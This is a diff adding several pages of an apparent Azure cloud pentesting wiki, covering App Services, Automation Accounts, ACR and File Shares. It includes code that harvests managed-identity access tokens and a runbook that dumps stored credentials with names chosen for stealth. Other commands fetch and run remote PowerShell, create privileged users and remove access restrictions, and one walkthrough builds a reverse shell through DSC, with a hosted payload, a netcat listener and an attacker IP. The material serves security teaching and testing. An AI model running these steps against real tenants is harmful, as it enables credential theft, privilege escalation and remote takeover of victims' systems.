||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
|
||||
# List resources and check for runCommand privileges
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
|
||||
```
|
||||
|
||||
#### Azure API via Python Version
|
||||
|
||||
```python
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
|
||||
print("[+] Management API")
|
||||
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
print("Access Token: "+json.loads(val)["access_token"])
|
||||
print("ClientID/AccountID: "+json.loads(val)["client_id"])
|
||||
|
||||
print("\r\n[+] Graph API")
|
||||
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
print(json.loads(val)["access_token"])
|
||||
print("ClientID/AccountID: "+json.loads(val)["client_id"])
|
||||
```
|
||||
|
||||
or inside a Python Function:
|
||||
|
||||
```python
|
||||
import logging, os
|
||||
import azure.functions as func
|
||||
|
||||
def main(req: func.HttpRequest) -> func.HttpResponse:
|
||||
logging.info('Python HTTP trigger function processed a request.')
|
||||
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
|
||||
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
|
||||
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
|
||||
val = os.popen(cmd).read()
|
||||
return func.HttpResponse(val, status_code=200)
|
||||
```
|
||||
|
||||
## List of Services
|
||||
|
||||
**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,52 @@
|
||||
# Az - ACR
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services.
|
||||
|
||||
### Enumerate
|
||||
|
||||
To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
|
||||
|
||||
```bash
|
||||
# List Docker images inside the registry
|
||||
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
|
||||
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2
|
||||
|
||||
Get-AzACR -username <username> -password <password> -registry <corp-name>.azurecr.io
|
||||
```
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az acr list --output table
|
||||
az acr show --name MyRegistry --resource-group MyResourceGroup
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# List all ACRs in your subscription
|
||||
Get-AzContainerRegistry
|
||||
|
||||
# Get a specific ACR
|
||||
Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Login & Pull from the registry
|
||||
|
||||
```bash
|
||||
docker login <corp-name>.azurecr.io --username <username> --password <password>
|
||||
docker pull <corp-name>.azurecr.io/<image>:<tag>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,214 @@
|
||||
# Az - App Services
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Service Basic Information
|
||||
|
||||
Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management.
|
||||
|
||||
Each app runs inside a sandbox but isolation depends upon App Service plans
|
||||
|
||||
- Apps in Free and Shared tiers run on shared VMs
|
||||
- Apps in Standard and Premium tiers run on dedicated VMs
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**.
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**.
|
||||
|
||||
Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**.
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\
|
||||
Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers.
|
||||
|
||||
- Authentication: az webapp auth show --name lol --resource-group lol_group
|
||||
|
||||
SSH
|
||||
|
||||
Always On
|
||||
|
||||
Debugging
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get instances of a webapp
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
# Get backups scheduled for a webapp
|
||||
az webapp config backup show --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
# Get snapshots
|
||||
az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-gl_group
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get SSL certificates
|
||||
az functionapp config ssl list --resource-group <res-group>
|
||||
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
|
||||
```powershell
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az get all" }}
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# Get all App Service and Function Apps
|
||||
|
||||
# Define Azure subscription ID
|
||||
azure_subscription="your_subscription_id"
|
||||
|
||||
# Log in to Azure
|
||||
az login
|
||||
|
||||
# Select Azure subscription
|
||||
az account set --subscription $azure_subscription
|
||||
|
||||
# Get all App Services in the specified subscription
|
||||
list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv)
|
||||
|
||||
# Iterate over each App Service
|
||||
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Obtain credentials & get access to the webapp code
|
||||
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
## Check how to use the DBs connection strings in the SQL page
|
||||
|
||||
# Get credentials to access the code and DB credentials if configured.
|
||||
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
|
||||
|
||||
|
||||
# Get git URL to access the code
|
||||
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
|
||||
|
||||
# Access/Modify the code via git
|
||||
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# Az - Application Proxy
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
|
||||
|
||||
Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal.
|
||||
|
||||
It works like this:
|
||||
|
||||
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**.
|
||||
2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device.
|
||||
3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**.
|
||||
4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user.
|
||||
5. The connector sends the request to the **on-premises application**.
|
||||
6. The **response** is sent through the connector and Application Proxy service **to the user**.
|
||||
|
||||
## Enumeration
|
||||
|
||||
```powershell
|
||||
# Enumerate applications with application proxy configured
|
||||
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||
|
||||
# Get applications service principal
|
||||
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"}
|
||||
|
||||
# Use the following ps1 script from https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/scripts/powershell-display-users-group-of-app
|
||||
# to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it
|
||||
Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <object-id>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,31 @@
|
||||
# Az - ARM Templates / Deployments
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources.
|
||||
|
||||
### History
|
||||
|
||||
If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**.
|
||||
|
||||
## Search Sensitive Info
|
||||
|
||||
Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
|
||||
|
||||
```powershell
|
||||
Get-AzResourceGroup
|
||||
Get-AzResourceGroupDeployment -ResourceGroupName <name>
|
||||
|
||||
# Export
|
||||
Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
|
||||
cat <DEPLOYMENT NAME>.json # search for hardcoded password
|
||||
cat <PATH TO .json FILE> | Select-String password
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,178 @@
|
||||
# Az - Automation Account
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features.
|
||||
|
||||
These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**.
|
||||
|
||||
### Run As Account
|
||||
|
||||
When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\
|
||||
Microsoft recommends using a **Managed Identity** for Automation Account.
|
||||
|
||||
> [!WARNING]
|
||||
> This will be **removed on September 30, 2023 and changed for Managed Identities.**
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\
|
||||
In the **code** of **Runbooks** you could also find **sensitive info** (such as creds).
|
||||
|
||||
If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**).
|
||||
|
||||
Go to `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
### Hybrid Worker
|
||||
|
||||
A Runbook can be run in a **container inside Azure** or in a **Hybrid Worker** (non-azure machine).\
|
||||
The **Log Analytics Agent** is deployed on the VM to register it as a hybrid worker.\
|
||||
The hybrid worker jobs run as **SYSTEM** on Windows and **nxautomation** account on Linux.\
|
||||
Each Hybrid Worker is registered in a **Hybrid Worker Group**.
|
||||
|
||||
Therefore, if you can choose to run a **Runbook** in a **Windows Hybrid Worker**, you will execute **arbitrary commands** inside an external machine as **System** (nice pivot technique).
|
||||
|
||||
## Compromise State Configuration (SC)
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** is an Azure configuration management service that allows you to write, manage, and compile PowerShell Desired State Configuration (DSC) [configurations](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) for nodes in any cloud or on-premises datacenter. The service also imports [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources), and assigns configurations to target nodes, all in the cloud. You can access Azure Automation State Configuration in the Azure portal by selecting **State configuration (DSC)** under **Configuration Management**.
|
||||
|
||||
**Sensitive information** could be found in these configurations.
|
||||
|
||||
### RCE
|
||||
|
||||
It's possible to abuse SC to run arbitrary scripts in the managed machines.
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeration
|
||||
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
|
||||
### Create a Runbook
|
||||
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
||||
|
||||
# Create a Powershell Runbook
|
||||
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
||||
|
||||
# Publish the Runbook
|
||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
|
||||
### Exfiltrate Creds & Variables defined in an Automation Account using a Run Book
|
||||
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
$creds = Get-AutomationPSCredential -Name <credentials_name>
|
||||
$runbook_variable = Get-AutomationVariable -name <variable_name>
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password
|
||||
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
|
||||
|
||||
$ResourceGroupName = '<resource_group_name>'
|
||||
$AutomationAccountName = '<auto_acc_name>'
|
||||
$RunBookName = 'Exif-Credentials' #Change this for stealthness
|
||||
|
||||
# Creare Run book, publish, start, and get output
|
||||
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
|
||||
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
|
||||
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could do the same thing modifying an existing Run Book, and from the web console.
|
||||
|
||||
### Steps for Setting Up an Automated Highly Privileged User Creation
|
||||
|
||||
#### 1. Initialize an Automation Account
|
||||
|
||||
- **Action Required:** Create a new Automation Account.
|
||||
- **Specific Setting:** Ensure "Create Azure Run As account" is enabled.
|
||||
|
||||
#### 2. Import and Set Up Runbook
|
||||
|
||||
- **Source:** Download the sample runbook from [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Actions Required:**
|
||||
- Import the runbook into the Automation Account.
|
||||
- Publish the runbook to make it executable.
|
||||
- Attach a webhook to the runbook, enabling external triggers.
|
||||
|
||||
#### 3. Configure AzureAD Module
|
||||
|
||||
- **Action Required:** Add the AzureAD module to the Automation Account.
|
||||
- **Additional Step:** Ensure all Azure Automation Modules are updated to their latest versions.
|
||||
|
||||
#### 4. Permission Assignment
|
||||
|
||||
- **Roles to Assign:**
|
||||
- User Administrator
|
||||
- Subscription Owner
|
||||
- **Target:** Assign these roles to the Automation Account for necessary privileges.
|
||||
|
||||
#### 5. Awareness of Potential Access Loss
|
||||
|
||||
- **Note:** Be aware that configuring such automation might lead to losing control over the subscription.
|
||||
|
||||
#### 6. Trigger User Creation
|
||||
|
||||
- Trigger the webhook to create a new user by sending a POST request.
|
||||
- Use the PowerShell script provided, ensuring to replace the `$uri` with your actual webhook URL and updating the `$AccountInfo` with the desired username and password.
|
||||
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
# Az - State Configuration RCE
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Summary of Remote Server (C2) Infrastructure Preparation and Steps
|
||||
|
||||
#### Overview
|
||||
|
||||
The process involves setting up a remote server infrastructure to host a modified Nishang `Invoke-PowerShellTcp.ps1` payload, named `RevPS.ps1`, designed to bypass Windows Defender. The payload is served from a Kali Linux machine with IP `40.84.7.74` using a simple Python HTTP server. The operation is executed through several steps:
|
||||
|
||||
#### Step 1 — Create Files
|
||||
|
||||
- **Files Required:** Two PowerShell scripts are needed:
|
||||
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
|
||||
|
||||
#### Step 2 — Zip Configuration File
|
||||
|
||||
- The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
|
||||
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
|
||||
#### Step 3 — Set Storage Context & Upload
|
||||
|
||||
- The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
|
||||
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
|
||||
#### Step 4 — Prep Kali Box
|
||||
|
||||
- The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
|
||||
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
|
||||
- The script is edited to specify the target Windows VM and port for the reverse shell.
|
||||
|
||||
#### Step 5 — Publish Configuration File
|
||||
|
||||
- The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
|
||||
|
||||
#### Step 6 — Host Payload and Setup Listener
|
||||
|
||||
- A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
|
||||
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
|
||||
- The scheduled task executes the payload, achieving SYSTEM-level privileges.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
The successful execution of this process opens numerous possibilities for further actions, such as credential dumping or expanding the attack to multiple VMs. The guide encourages continued learning and creativity in the realm of Azure Automation DSC.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,172 @@
|
||||
# Az - File Shares
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Files** is a fully managed cloud file storage service that provides shared file storage accessible via standard **SMB (Server Message Block)** and **NFS (Network File System)** protocols. Although the main protocol used is SMB as NFS Azure file shares aren't supported for Windows (according to the [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). It allows you to create highly available network file shares that can be accessed simultaneously by multiple virtual machines (VMs) or on-premises systems, enabling seamless file sharing across environments.
|
||||
|
||||
### Access Tiers
|
||||
|
||||
- **Transaction Optimized**: Optimized for transaction-heavy operations.
|
||||
- **Hot**: Balanced between transactions and storage.
|
||||
- **Cool**: Cost-effective for storage.
|
||||
- **Premium:** High-performance file storage optimized for low-latency and IOPS-intensive workloads.
|
||||
|
||||
### Backups
|
||||
|
||||
- **Daily backup**: A backup point is created each day at an indicated time (e.g. 19.30 UTC) and stored for from 1 to 200 days.
|
||||
- **Weekly backup**: A backup point is created each week at an indicated day and time (Sunday at 19.30) and stored for from 1 to 200 weeks.
|
||||
- **Monthly backup**: A backup point is created each month at an indicated day and time (e.g. first Sunday at 19.30) and stored for from 1 to 120 months.
|
||||
- **Yearly backup**: A backup point is created each year at an indicated day and time (e.g. January first Sunday at 19.30) and stored for from 1 to 10 years.
|
||||
- It's also possible to perform **manual backups and snapshots at any time**. Backups and snapshots are actually the same in this context.
|
||||
|
||||
